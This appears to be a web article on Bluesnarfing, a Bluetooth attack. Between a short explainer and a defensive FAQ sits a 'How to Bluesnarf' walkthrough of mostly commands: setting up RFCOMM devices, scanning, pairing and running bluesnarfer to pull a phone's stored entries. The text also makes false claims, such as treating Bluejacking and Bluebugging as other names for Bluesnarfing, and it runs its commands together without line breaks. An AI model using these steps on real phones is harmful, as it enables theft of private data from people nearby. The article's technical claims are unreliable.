Bluesnarfing is a mobile security threat where someone can access the data stored on your Bluetooth-enabled device without permission.
How Does Bluesnarfing Work?
Bluesnarfing works by tricking devices into pairing with each other so that they can exchange information without anyone knowing about it. This happens when two devices are close together and both have their Bluetooth turned on; one is sending signals through airwaves while the other receives them.
The problem is that these signals don’t just pass through walls; they also travel through bodies like ours—meaning people tend not to notice them when they’re on our bodies!
How to Bluesnarf ?
First we need to prepare our system and create a new device to allow the serial protocol over Bluetooth (RFCOMM). Put the Bluetooth interface down and configure the rf channels.
Step 1 – Configure RFCOMM communication
hciconfig hci0 downmkdir -p /dev/bluetooth/rfcommmknod -m 666 /dev/bluetooth/rfcomm/0 c 216 0mknod --mode=666 /dev/rfcomm0 c 216 0When you’re done, you’ll have a new RFCOMM channel open in your interface. Now we need to bring our interface up again and verify the settings.
hciconfig hci0 uphciconfig hci0Step 2 – Scan Bluetooth Classic devices
Let’s scan the device:
hcitool -i hci0 scanhcitool inqsystemctl restart bluetoothStep 3 – Test Bluetooth connectivity
Let’s test if we can reach our Bluetooth device using l2ping tool.
l2ping <MAC>Step 4 – Read Remote Device Information
sdptool browse --tree --l2cap <MAC>Step 5 – Pair with the remote Device
bluetoothctl agent onbluetoothctl pair <MAC>Step 6 – Attack the Bluetooth device
bluesnarfer -r 1-100 ME -C 7 -b <MAC>Bluesnarfing is also known as Bluejacking, Bluebiting, Bluesmacking and Bluebugging which refer to the act of connecting to another user’s phone remotely using their phone’s Bluetooth function (Bluetooth).
It involves gaining remote access by exploiting vulnerabilities in software or hardware that permits remote access via Bluetooth connections between devices (such as smartphones) and computers/laptops.

What is Bluesnarfing?
Bluesnarfing is a hacking technique that involves exploiting a vulnerability in Bluetooth-enabled devices to gain unauthorized access to their data, such as contacts, messages, and emails.
How does Bluesnarfing work?
Bluesnarfing works by exploiting a vulnerability in the Bluetooth protocol that allows an attacker to connect to a Bluetooth-enabled device without the owner’s knowledge or permission. Once connected, the attacker can access and copy data from the device, including sensitive information.
What kind of devices are vulnerable to Bluesnarfing?
Any Bluetooth-enabled device can be vulnerable to Bluesnarfing, including smartphones, tablets, laptops, and other mobile devices.
What are the consequences of Bluesnarfing?
The consequences of Bluesnarfing can vary depending on the data that is stolen. An attacker could potentially access sensitive information such as credit card numbers, social security numbers, and other personally identifiable information. This information can then be used for identity theft, fraud, or other criminal activities.
How can I protect myself from Bluesnarfing?
You can protect yourself from Bluesnarfing by disabling Bluetooth when you are not using it, keeping your device updated with the latest security patches, using a strong password or PIN, and avoiding connecting to unknown or untrusted Bluetooth devices.
Can antivirus software protect against Bluesnarfing?
Yes, some antivirus software can protect against Bluesnarfing by detecting and blocking unauthorized access attempts. However, it is still important to practice good security habits and take precautions to prevent unauthorized access to your device.
Is Bluesnarfing illegal?
Yes, Bluesnarfing is illegal in many countries as it involves unauthorized access to another person’s device and theft of their data. If caught, a Bluesnarfing attacker could face serious criminal charges and penalties.
